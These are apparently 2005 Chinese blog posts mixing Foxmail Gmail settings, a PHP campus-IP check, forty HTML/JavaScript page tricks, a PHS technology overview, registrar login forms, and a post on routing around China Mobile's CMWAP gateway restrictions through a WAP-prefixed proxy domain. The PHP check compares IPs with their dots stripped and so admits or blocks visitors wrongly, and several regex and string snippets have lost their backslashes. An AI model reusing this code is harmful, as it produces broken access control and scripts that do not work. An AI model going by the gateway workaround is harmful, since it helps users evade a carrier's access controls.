[ 2005/11/12 20:26 | by 网络毛毛虫 ]

由于GMAIL使用HTTPS连接,所以FOXMAIL收邮件,需要修改端口,但是收取成功率不高

1。log in你的gmail邮箱-settings-forwarding and POP-选disable forwarding 和 enable pop for all mail-保存!
2。打开Foxmail建账户,其中邮件服务器为:smtp.gmail.com并选择Stmp服务器需要身份验证 和pop.gmail.com

高级设置:smtp的服务端口号:465 pop3的服务端口号:995 smtp和pop3都要在此服务器要求安全连接处选中!

[ 2005/11/08 13:54 | by 网络毛毛虫 ]

<?
$ip=$_SERVER[REMOTE_ADDR];
echo"$ip<br>";
$ip = str_replace(".","",$ip);
//echo $ip;
$ipstart_1="202.202.149.1";//IP地址段1起始
$ipend_1="202.202.159.9";//IP地址段1结束
$ipstart_2="218.194.149.1";//IP地址段2起始
$ipend_2="218.194.159.9";//IP地址段2结束
$ipstart_3="222.198.30.1";//IP地址段3起始
$ipend_3="222.198.59.9";//IP地址段3结束
$ipstart_4="222.198.30.10";//IP地址段3起始
$ipend_4="222.198.59.99";//IP地址段3结束
$ipstart_5="222.198.30.100";//IP地址段3起始
$ipend_5="222.198.59.255";//IP地址段3结束
$ipstart_6="218.194.149.10";//IP地址段2起始
$ipend_6="218.194.159.99";//IP地址段2结束
$ipstart_7="218.194.149.100";//IP地址段2起始
$ipend_7="218.194.159.255";//IP地址段2结束
$ipstart_8="202.202.149.10";//IP地址段1起始
$ipend_8="202.202.159.99";//IP地址段1结束
$ipstart_9="202.202.149.100";//IP地址段1起始
$ipend_9="202.202.159.255";//IP地址段1结束
function ip_zh($ip_d)
{
$ip_z=str_replace(".","",$ip_d);
return $ip_z;
}
if((($ip>ip_zh($ipstart_1)) && ($ip<ip_zh($ipend_1)))||(($ip>ip_zh($ipstart_2)) && ($ip<ip_zh($ipend_2)))||(($ip>ip_zh($ipstart_3)) && ($ip<ip_zh($ipend_3)))
||(($ip>ip_zh($ipstart_4)) && ($ip<ip_zh($ipend_4)))
||(($ip>ip_zh($ipstart_5)) && ($ip<ip_zh($ipend_5)))
||(($ip>ip_zh($ipstart_6)) && ($ip<ip_zh($ipend_6)))
||(($ip>ip_zh($ipstart_7)) && ($ip<ip_zh($ipend_7)))
||(($ip>ip_zh($ipstart_8)) && ($ip<ip_zh($ipend_8)))
||(($ip>ip_zh($ipstart_9)) && ($ip<ip_zh($ipend_9))))
{
echo"祝贺你,通过验证,校内IP。";
}
else
{
echo"<center><font color=red>对不起,请见谅!你的IP不符合规范,5秒后载入计算机学办网站</font><meta http-equiv='Refresh'
content='5; url=http://jsjxb.cqit.edu.cn'><NOSCRIPT>";
}
?>

[ 2005/11/01 13:45 | by 网络毛毛虫 ]
1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table

2. <body onselectstart="return false"> 取消选取、防止复制

3. onpaste="return false" 不准粘贴

4. oncopy="return false;" oncut="return false;" 防止复制

5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标

6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标

7. <input style="ime-mode:disabled"> 关闭输入法

8. 永远都会带着框架
<script language="javascript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页
// --></script>

9. 防止被人frame
<SCRIPT LANGUAGE=javascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>

10. 网页将不能被另存为
<noscript><iframe src=*.html></iframe></noscript>

11. <input type=button value=查看网页源代码
onclick="window.location = "view-source:"+ "http://www.gonet8.com"">

12.删除时确认
<a href="javascript:if(confirm("确实要删除吗?"))location="boos.asp?&areyou=删除&page=1"">删除</a>

13. 取得控件的绝对位置
//javascript
<script language="javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"/nleft="+l);
}
</script>

//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控件的位置"
end function
--></script>

14. 光标是停在文本框文字的最后
<script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart("character",e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">

15. 判断上一页的来源
javascript:
document.referrer

16. 最小化、最大化、关闭窗口
<object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" VALUE="Close"></OBJECT>
<input type=button value=最小化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE

17.屏蔽功能键Shift,Alt,Ctrl
<script>
function look(){
if(event.shiftKey)
alert("禁止按Shift键!"); //可以换成ALT CTRL
}
document.onkeydown=look;
</script>

18. 网页不会被缓存
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或者<META HTTP-EQUIV="expires" CONTENT="0">

19.怎样让表单没有凹凸感?
<input type=text style="border:1 solid #000000">

<input type=text style="border-left:none; border-right:none; border-top:none; border-bottom:

1 solid #000000"></textarea>

20.<div><span>&<layer>的区别?
<div>(division)用来定义大段的页面元素,会产生转行
<span>用来定义同一行内的元素,跟<div>的唯一区别是不产生转行
<layer>是ns的标记,ie不支持,相当于<div>



21.让弹出窗口总是在最上面:
<body onblur="this.focus();">

22.不要滚动条?
让竖条没有:
<body style="overflow:scroll;overflow-y:hidden">
</body>
让横条没有:
<body style="overflow:scroll;overflow-x:hidden">
</body>
两个都去掉?更简单了
<body scroll="no">
</body>

23.怎样去掉图片链接点击后,图片周围的虚线?
<a href="#" onFocus="this.blur()"><img src="logo.jpg" border=0></a>

24.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:****@***.com" enctype="text/plain">
<input type=submit>
</form>

25.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()

26.如何设定打开页面的大小
<body onload="top.resizeTo(300,200);">
打开页面的位置<body onload="top.moveBy(300,200);">

27.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<STYLE>
body
{background-image:url(logo.gif); background-repeat:no-repeat;
background-position:center;background-attachment: fixed}
</STYLE>

28. 检查一段字符串是否全由数字组成
<script language="javascript"><!--
function checkNum(str){return str.match(//D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>

29. 获得一个窗口的大小
document.body.clientWidth; document.body.clientHeight

30. 怎么判断是否是字符
if (/[^/x00-/xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");

31.TEXTAREA自适应文字行数的多少
<textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>

32. 日期减去天数等于第二个日期
<script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")
}
cc("12/23/2002",2)
</script>

33. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>

34.脚本永不出错
<SCRIPT LANGUAGE="javascript">
<!-- Hide
function killErrors() {
return true;
}
window.onerror = killErrors;
// -->
</SCRIPT>

35.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">

36. 检测某个网站的链接速度:
把如下代码加入<body>区域中:
<script language=javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array()
autourl[1]="www.njcatv.net"
autourl[2]="javacool.3322.net"
autourl[3]="www.sina.com.cn"
autourl[4]="www.nuaa.edu.cn"
autourl[5]="www.cctv.com"
function butt(){
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=测试中……> =》<input type=text
name=url"+i+" size=40> =》<input type=button value=GO

onclick=window.open(this.form.url"+i+".value)><br>")
document.write("<input type=submit value=刷新></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接超时"}
else
{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl+"/"+Math.random()+" width=1 height=1

onerror=auto("http://"+autourl+"")>")}
run()</script>

37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize

38.页面进入和退出的特效
进入页面<meta http-equiv="Page-Enter" content="revealTrans(duration=x, transition=y)">
推出页面<meta http-equiv="Page-Exit" content="revealTrans(duration=x, transition=y)">
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
  0 矩形缩小
  1 矩形扩大
  2 圆形缩小
  3 圆形扩大
  4 下到上刷新
  5 上到下刷新
  6 左到右刷新
  7 右到左刷新
  8 竖百叶窗
  9 横百叶窗
  10 错位横百叶窗
  11 错位竖百叶窗
  12 点扩散
  13 左右到中间刷新
  14 中间到左右刷新
  15 中间到上下
  16 上下到中间
  17 右下到左上
  18 右上到左下
  19 左上到右下
  20 左下到右上
  21 横条
  22 竖条
  23 以上22种随机选择一种

39.在规定时间内跳转
<META http-equiv=V="REFRESH" content="5;URL=http://www.gonet8.com">

40.网页是否被检索
<meta name="ROBOTS" content="属性值">
  其中属性值有以下一些:
  属性值为"all": 文件将被检索,且页上链接可被查询;
  属性值为"none": 文件不被检索,而且不查询页上的链接;
  属性值为"index": 文件将被检索;
  属性值为"follow": 查询页上的链接;
  属性值为"noindex": 文件不检索,但可被查询链接;
  属性值为"nofollow": 文件不被检索,但可查询页上的链接。

[ 2005/10/22 20:16 | by 网络毛毛虫 ]
ZEND被破解是迟早的事情..其实对商业客户我觉得是个好事情..加快DZ的发展,对我们其实很有利..买软件获得的是服务..程序总是会出点各种各样的问题,服务让程序更加完善..现在大量人装破解的DZ,也说明DZ的实力,垃圾的东西没有人会追捧,说明买的正确...没有软件不会被破解的,各种加密被破解是迟早的事情,而且ZEND迟早也会推出新版本的...LINUX开源,还不是有好有坏的厂商..而且现在DZ也有实力做得更好.做论坛在于长时间,选择了哪个论坛也选择相应得服务,服务本来就该收费.像财务管理软件 盗版电脑城到处卖,真的用那个的人,还是都是些买正版的...
[ 2005/10/20 11:15 | by 网络毛毛虫 ]

现在国内很多人使用中国移动的10.0.0.172:80这个代理网关从CMWAP节点进入CMNET节点.从而到处的动感地带泛滥..这个漏洞本来是不为人所知的..在一年前,我也是从一个移动的朋友那里得知的..移动要求各地开放网关的80端口.目的很明确.让CMWAP节点真正可以上所有的WAP站点.移动默认了以WAP.DOMAIN开头的所有域名直接通过代理网关出口..这样,就等于扩大了CMWAP的访问权限...细心的人发现了80端口开放.然后在YOUNET出现了广州动感事件..我当时也让一个广州朋友买了张卡邮寄到重庆.当时我和移动的老耐仔细测试过,效果非常不错的..CMWAP80端口开放是个历史问题,我个人觉得短时间内不可能关闭...而且对移动业务冲击根本不算什么...

由于可以使用WAP开头的域名直接出口.所以,可以做二次代理实现..我已经测试过了..现在的80代理支持SSL,网络上建立一台VPN服务器,这样手机就可以直接提高速度增强稳定性..

移动现在已经关闭了直接通过笔记本连接手机通过代理上WWW了.要在笔记本上上网,只有使用OPEAR这些支持WAP模式的浏览器.对大家来说是不方便的.直接在外网建立softether的SSL VPN这样,笔记本本机为客户.softether hub为服务器,这样可以直接实现所有的CMNET功能...

以上测试都已经通过....大家可以建立WAP开头的A记录试试..我已试过.WAP.ZHENGHE.BIZ建立个代理就可以实现二次代理

 小灵通实际上是固定市话网的一种补充和延伸。它将固定电话的最后一段线路由电缆连接改为无线连接方式进行通信。它由局端设备RT、空中话务控制器ATC、基站控制器RP和移动手机PS等部分组成。它能实现固定电话网上的所有功能。例如,转移呼叫、三方通话、语言信箱等。另外它还具有移动电话的一些功能。例如,越区漫游、无线上网、定位报警和ISDN等多种业务。它最大的特点是具有固定电话的低收费和移动电话的多功能,这是它近来得到迅猛发展并广受欢迎的根本原因。

  小灵通的核心技术是采用微蜂窝和信道动态分配技术,从而大大地提高了频率的使用率和系统的容量。小灵通小区基站与手机之间采用了时分双工模式TDD,其无线信道基于时分多址TDMA结构,语音编码采用32kbit/s AD PCM方式,无线接口采用数据V5接口技术,因而加强了系统的抗干扰能力,提高了话音通信质量,增强了系统的保密性。

  PHS产品技术较5年前的PHS产品,无论是业务侧、网络侧,还是无线侧、终端,都已经取得了突破性的进展,到目前为止PHS已经形成了由服务提供商(SP)、网络运营商、设备提供商、终端商和用户组成的完整的产业链。如果PHS技术还是那种6年前的技术,在中国电信市场上不会取得迅速的发展。种种迹象表明,在中国经过了6年的发展,PHS在各个方面都已经有了质的变化。

通信频率选择与多址技术

  小灵通是在现有市话网上通过V5数据接口技术将本地交接机LS与个人手持电话PS系统相连接,并与空中话务控制器ATC进行结合,从而实现利用原有固定电话网迅速而有效地开发移动业务的无线通信系统。小灵通将1.9GHz作为其小区基站的手机通信频率。小灵通的无线接入信道即基站和手机之间使用的是多载频时分双工模式TDD,无线信道基于时分多址TDMA结构。在多频率子带中实现给每一基站、每一时刻动态分配一个频率。小灵通系统的无线接入方式采用TDMA/TDD。TDMA把时间分割成周期性、不重叠的帧。每个帧再分割成若干个不重叠的时隙,再根据一定的时隙分配原则,使各个移动台在每帧内按指定的时隙向基站发送信号,在满足定时和同步的条件下,基站可以分别在各个时隙中接收到各个移动台的信号而不混乱。同时,基站发向多个移动台的信号都按顺序安排在预定的时隙中传输。各移动台只要在指定的时隙内接收,就能在合路的信号中把发给它的信号区分出来。从而实现了多址通信传输方式。

微蜂窝与信道动态分配技术

  小灵通是采用微区制来组网的,它把整个服务区划分为许多个微小区。这些微小区有机地组合在一起,满足整个无线接入移动通信的需求。小灵通为了解决频率资源的短缺问题,在频率资源分配上采用了动态信道分配技术,系统没有为每个小区单独分配固定的使用频率,而是随着通话建立过程,在区站内自行分配最佳的频率和信道。对于同一个载频设备的每一个时刻所选用的频率可能是不相同的。这样,小灵通系统在网络建设与优化时无须进行频率规划,既节省了大量的人力与物力,同时可在多家运行公司共同使用有限的频率资源的情况下,有效地避免同频干扰与邻频干扰,从而提高了频率资源利用率。它不用像GSM和CDMA系统那样进行频率规划、基站选址、机房建设等大量基础建设工作。它是利用现有市话网络进行无线通信的有效手段。所以小灵通系统把微蜂窝技术和信道动态分配技术有机地结合起来,不但提高了频率的利用率,而且极大地增加了系统的无线信道资源。

V5接口技术

  该技术是为了适应接入网范围内多种传输媒介、多种接入配置和业务开展而提出的。它能支持普通电话业务和专用线业务。根据传输速率的不同,V5接口可分为V5.1和V5.2接口,其中V5.1具有复用功能,V5.2具有集成功能和时隙动态分配的特点。作为本地交换机和接入网的数据接口,V5接口技术的特点主要表现在以下一些方面:它是一个全开放的接口,表现在网络运营商可以自由选择不同厂家的设备进行有效优化的组合以提高网络功能;可支持不同的接入方式,通过全方位的开放接口,本地交换机可以接纳各种不同接入网设备并支持不同的接入方式,从而使网络向有线、无线结合的方向发展;能提供综合业务数字服务,例如语音、图像、数据等多种业务的开展;信息传输安全、可靠,因为V5接口传输的是数据流信息,不易丢失、加密方便,这样增加了网络的安全性和可靠性;降低成本,由于通过V5接口的数据量很大,相应地降低了每线传输信息的成本费用。V5接口技术被小灵通系统所采用是由于它的业务适应范围更广、标准化程度更高,它也是小灵通具有无线上网、越区漫游和在线计费等多项功能的基础。V5接口结构共有三层:物理层、数据链路层和网络层。

  由于目前小灵通发展迅猛,各厂家纷纷推出了各种款式和型号的手机,并且在技术上不断地更新,所以说小灵通技术的发展日新月异,它正向着更新的方向发展,满足广大用户的需要。但小灵通的发展还存在一些问题,例如,理论上必须每隔100米?500米就建一个用于联络手机信号的基站,要布很多基站才能消除网络盲区。小灵通的另一个隐忧就是频段问题。

  虽然从协议标准所包含的技术上来看,PHS技术体系比不上CDMA,甚至与GSM也有一定差距。但是PHS技术体系也有它自身的优点,这些优点是其它系统所无法比拟的。

  首先,采用TDMA/TDD制式,只要一段连续的频段就可以工作;其次,对PHS来讲,扩容只需要增加相应的基站,调整部分基站的天线或者位置,就可以实现高效扩容;但是对于GSM、CDMA来讲,每一个小区的扩容相邻小区的基站都要进行调整,其他相邻小区也要进行调整;另外,对于数据业务的支持,PHS只要增加网络侧的RAS就可以提供很高速率的上网,而GSM需要GPRS,相对于叠加一张网络才能提供数据业务,同样CDMA也需要很大的改动才能支持高速的数据业务,且高速数据业务会使其容量受到大规模的影响;同时,在无线智能技术的使用上,目前PHS基站走在最前列。

[ 2005/10/18 15:10 | by 网络毛毛虫 ]
<HTML><HEAD><TITLE>域名管理_新网互联_新网_商务中国_中国频道</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>TD {
 FONT-SIZE: 12px
}
.p1 {
 FONT-SIZE: 12px
}
INPUT {
 FONT-SIZE: 12px
}
.p2 {
 FONT-SIZE: 12px; LINE-HEIGHT: 150%
}
.p3 {
 FONT-SIZE: 14px
}
.p4 {
 FONT-SIZE: 14px; LINE-HEIGHT: 14pt
}
.p5 {
 FONT-SIZE: 16px
}
.p6 {
 FONT-SIZE: 14px; LINE-HEIGHT: 180%
}
.big {
 FONT-SIZE: 18px
}
.hand {
 CURSOR: hand; BACKGROUND-COLOR: rgb(208,207,192)
}
.input {
 BORDER-RIGHT: #6699cc 1px solid; BORDER-TOP: #6699cc 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #6699cc 1px solid; COLOR: #000000; BORDER-BOTTOM: #6699cc 1px solid; FONT-FAMILY: "宋体"; TEXT-DECORATION: none
}
</STYLE>
<!--style end-->
<META content="MSHTML 6.00.2800.1476" name=GENERATOR></HEAD>
<BODY vLink=#000000 aLink=#000000 link=#000000 bgColor=#ffffff topMargin=7
marginwidth="25" marginheight="0">
<TABLE cellSpacing=0 cellPadding=0 width=755 align=center border=0>
  <TBODY>
  <TR>
 <TD align=right width="12%"> </TD>
 <TD vAlign=bottom align=right width="30%"> </TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
  <TBODY>
<tr><td align=center><A href="http://www.lengyue.cn" target=_blank><SPAN
style="TEXT-DECORATION: none">点击这里开始注册域名</SPAN></A></td></tr>
  <TR>
 <TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
  border=0><TBODY>
  <TR>
 <TD class=p4 align=middle bgColor=#9bbcdd height=20>::: 新网互联域名登录管理
:::</TD></TR>
  <FORM action=http://agent.dns.com.cn/cgi-bin/Domain/DomainLogin
  method=post>
  <TR>
 <TD class=p2><A
href="http://agent.dns.com.cn/HTML/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">BEIJING INNOVATIVE LINKAGE TECHNOLOGY
LTD. DBA DNS.COM.CN</SPAN></A>
<DIV align=center>
<TABLE id=table1 cellSpacing=1 cellPadding=5 width="90%" border=0>
  <TBODY>
  <TR>
 <TD align=right width="21%">域名:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=Domain maxLength=63
name=Domain>&nbsp;<SELECT class=input id=Suffix size=1
name=Suffix> <OPTION selected>.com</OPTION>
  <OPTION>.net</OPTION> <OPTION>.org</OPTION>
  <OPTION>.cn</OPTION> <OPTION>.com.cn</OPTION>
  <OPTION>.net.cn</OPTION> <OPTION>.org.cn</OPTION>
  <OPTION>.gov.cn</OPTION> <OPTION>.ac.cn</OPTION>
  <OPTION>.bj.cn</OPTION> <OPTION>.sh.cn</OPTION>
  <OPTION>.tj.cn</OPTION> <OPTION>.cq.cn</OPTION>
  <OPTION>.he.cn</OPTION> <OPTION>.sx.cn</OPTION>
  <OPTION>.nm.cn</OPTION> <OPTION>.ln.cn</OPTION>
  <OPTION>.jl.cn</OPTION> <OPTION>.hl.cn</OPTION>
  <OPTION>.js.cn</OPTION> <OPTION>.zj.cn</OPTION>
  <OPTION>.ah.cn</OPTION> <OPTION>.fj.cn</OPTION>
  <OPTION>.jx.cn</OPTION> <OPTION>.sd.cn</OPTION>
  <OPTION>.ha.cn</OPTION> <OPTION>.hb.cn</OPTION>
  <OPTION>.hn.cn</OPTION> <OPTION>.gd.cn</OPTION>
  <OPTION>.gx.cn</OPTION> <OPTION>.hi.cn</OPTION>
  <OPTION>.sc.cn</OPTION> <OPTION>.gz.cn</OPTION>
  <OPTION>.yn.cn</OPTION> <OPTION>.xz.cn</OPTION>
  <OPTION>.sn.cn</OPTION> <OPTION>.gs.cn</OPTION>
  <OPTION>.qh.cn</OPTION> <OPTION>.nx.cn</OPTION>
  <OPTION>.xj.cn</OPTION> <OPTION>.tw.cn</OPTION>
  <OPTION>.hk.cn</OPTION> <OPTION>.mo.cn</OPTION></SELECT>
</TD></TR>
  <TR>
 <TD align=right width="21%">密码:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=Password type=password
maxLength=15 name=Password> <INPUT class=buttom type=submit value=登录 name=B1></TD></TR></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
  <TBODY>
  <TR>
 <TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
  border=0><TBODY>
  <TR>
 <TD class=p4 align=middle bgColor=#fece00 height=20>::: 新网域名登录管理
 :::</TD></TR>
  <TR>
 <TD class=p2 height=60><A
href="http://www.paycenter.com.cn/manage/management.htm" target=_blank><SPAN
style="TEXT-DECORATION: none">XIN NET CORP.</SPAN></A>
<DIV align=center>
<TABLE id=table9 cellSpacing=1 cellPadding=5 width="90%" border=0>
  <TBODY>
  <FORM
  action=https://www.paycenter.com.cn/cgi-bin/nEWpAYcENTER/Domain/DomainLogin
  method=post>
  <TR>
 <TD align=right width="21%">域名:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input maxLength=63 name=Domain>
<SELECT class=input size=1 name=Suffix> <OPTION
  selected>.com</OPTION> <OPTION>.cn</OPTION>
  <OPTION>.net</OPTION> <OPTION>.org</OPTION>
  <OPTION>.cc</OPTION> <OPTION>.tv</OPTION>
  <OPTION>.biz</OPTION> <OPTION>.info</OPTION>
  <OPTION>.com.cn</OPTION> <OPTION>.net.cn</OPTION>
  <OPTION>.org.cn</OPTION> <OPTION>.gov.cn</OPTION>
  <OPTION>.ac.cn</OPTION> <OPTION>.bj.cn</OPTION>
  <OPTION>.sh.cn</OPTION> <OPTION>.tj.cn</OPTION>
  <OPTION>.cq.cn</OPTION> <OPTION>.he.cn</OPTION>
  <OPTION>.sx.cn</OPTION> <OPTION>.nm.cn</OPTION>
  <OPTION>.ln.cn</OPTION> <OPTION>.jl.cn</OPTION>
  <OPTION>.hl.cn</OPTION> <OPTION>.js.cn</OPTION>
  <OPTION>.zj.cn</OPTION> <OPTION>.ah.cn</OPTION>
  <OPTION>.fj.cn</OPTION> <OPTION>.jx.cn</OPTION>
  <OPTION>.sd.cn</OPTION> <OPTION>.ha.cn</OPTION>
  <OPTION>.hb.cn</OPTION> <OPTION>.hn.cn</OPTION>
  <OPTION>.gd.cn</OPTION> <OPTION>.gx.cn</OPTION>
  <OPTION>.hi.cn</OPTION> <OPTION>.sc.cn</OPTION>
  <OPTION>.gz.cn</OPTION> <OPTION>.yn.cn</OPTION>
  <OPTION>.xz.cn</OPTION> <OPTION>.sn.cn</OPTION>
  <OPTION>.gs.cn</OPTION> <OPTION>.qh.cn</OPTION>
  <OPTION>.nx.cn</OPTION> <OPTION>.xj.cn</OPTION>
  <OPTION>.tw.cn</OPTION> <OPTION>.hk.cn</OPTION>
  <OPTION>.mo.cn</OPTION> <OPTION>.中国</OPTION>
  <OPTION>.公司</OPTION> <OPTION>.网络</OPTION>
<OPTION></OPTION></SELECT></TD></TR>
  <TR>
 <TD align=right width="21%">密码:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=Password4 type=password
maxLength=15 name=Password> <INPUT class=buttom type=submit value=登录 name=B11></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE id=table6 cellSpacing=0 cellPadding=1 width=492 align=center border=0>
  <TBODY>
  <TR>
 <TD bgColor=#cccccc>
<DIV align=center>
<TABLE id=table7 cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
border=0>
  <TBODY>
  <TR>
 <TD class=p4 align=middle bgColor=#c0c0c0 height=20>::: 商务中国域名登陆管理
:::</TD></TR>
  <FORM action=http://www.bizcn.com/domainportal method=post><INPUT
  type=hidden value=login name=module0>
  <TR>
 <TD class=p2 height=60><A href="http://www.bizcn.com/domainportal"
target=_blank><SPAN
style="TEXT-DECORATION: none">BIZCN.COM,INC.</SPAN></A>
<DIV align=center>
<TABLE id=table10 cellSpacing=1 cellPadding=5 width="90%"
  border=0><TBODY><FORM action="http://www.bizcn.com/domainportal"
  method="post"><INPUT type=hidden value=login name=module>
  <TR>
 <TD align=right width="21%">域名:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=Domain5 maxLength=63
size=28 name=domainname></TD></TR>
  <TR>
 <TD align=right width="21%">密码:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=Password5 type=password
maxLength=15 size=17 name=password> <INPUT class=buttom type=submit value=登录 name=submit2></TD></TR></TBODY></TABLE></DIV></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=0 cellPadding=1 width=492 align=center border=0>
  <TBODY>
  <TR>
 <TD bgColor=#cccccc>
<DIV align=center>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#ffffff
  border=0><TBODY>
  <TR>
 <TD class=p4 align=middle bgColor=#8cca2d height=20>::: 中国频道域名登陆管理
:::</TD></TR>
  <TR>
 <TD><A
href="https://www.onlinenic.com/cgi-bin/chinese/correct_domain_new.cgi"
target=_blank><SPAN style="TEXT-DECORATION: none">ONLINENIC,
INC.</SPAN></A>(修改注册人)
<DIV align=center>
<TABLE id=table18 cellSpacing=0 cellPadding=2 width="98%"
  border=0><TBODY>
  <TR>
 <TD>
<DIV align=center>
<TABLE id=table19 cellSpacing=1 cellPadding=5 width="96%"
border=0>
  <FORM
  action=https://www.onlinenic.com/cgi-bin/chinese/correct_contact_new.cgi
  method=post>
  <TBODY>
  <TR>
 <TD align=middle width="96%" colSpan=2>中文版</TD></TR>
  <TR>
 <TD align=right width="23%">域名:</TD>
 <TD width="73%"><INPUT class=input id=race_domain
maxLength=63 size=18 name=race_domain> </TD></TR>
  <TR>
 <TD align=right width="23%">密码:</TD>
 <TD width="73%"><INPUT class=input id=password6
type=password maxLength=20 size=10 name=password> <INPUT class=buttom id=submit0 type=submit value=登录 name=submit1></TD></TR></FORM></TBODY></TABLE></DIV></TD>
 <TD>
<DIV align=center>
<TABLE id=table20 cellSpacing=1 cellPadding=5 width="96%"
border=0>
  <FORM
  action=https://www.onlinenic.com/cgi-bin/english/correct_contact_new.cgi
  method=post>
  <TBODY>
  <TR>
 <TD align=middle width="96%" colSpan=2>英文版</TD></TR>
  <TR>
 <TD align=right width="23%">域名:</TD>
 <TD width="73%"><INPUT class=input id=race_domain0
maxLength=63 size=18 name=race_domain> </TD></TR>
  <TR>
 <TD align=right width="23%">密码:</TD>
 <TD width="73%"><INPUT class=input id=password7
type=password maxLength=20 size=10 name=password> <INPUT class=buttom id=submit1 type=submit value=登录 name=submit3></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR>
  <TR>
 <TD><A href="http://www.dns-diy.com/" target=_blank><SPAN
style="TEXT-DECORATION: none">DNS-DIY.com</SPAN></A> (域名解析)
<DIV align=center>
<TABLE id=table12 cellSpacing=1 cellPadding=5 width="90%"
  border=0><TBODY>
  <FORM
  action=https://www.dns-diy.com/login.aspx?returnURL=http://www.dns-diy.com/dns.aspx
  method=post>
  <TR>
 <TD align=right width="21%">域名:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=username maxLength=63
size=28 name=username></TD></TR>
  <TR>
 <TD align=right width="21%">密码:</TD>
 <TD width="2%"> </TD>
 <TD width="73%"><INPUT class=input id=password type=password
maxLength=20 size=17 name=password> <INPUT class=buttom id=submit type=submit value=登录 name=submit></TD></TR></FORM></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE><BR>
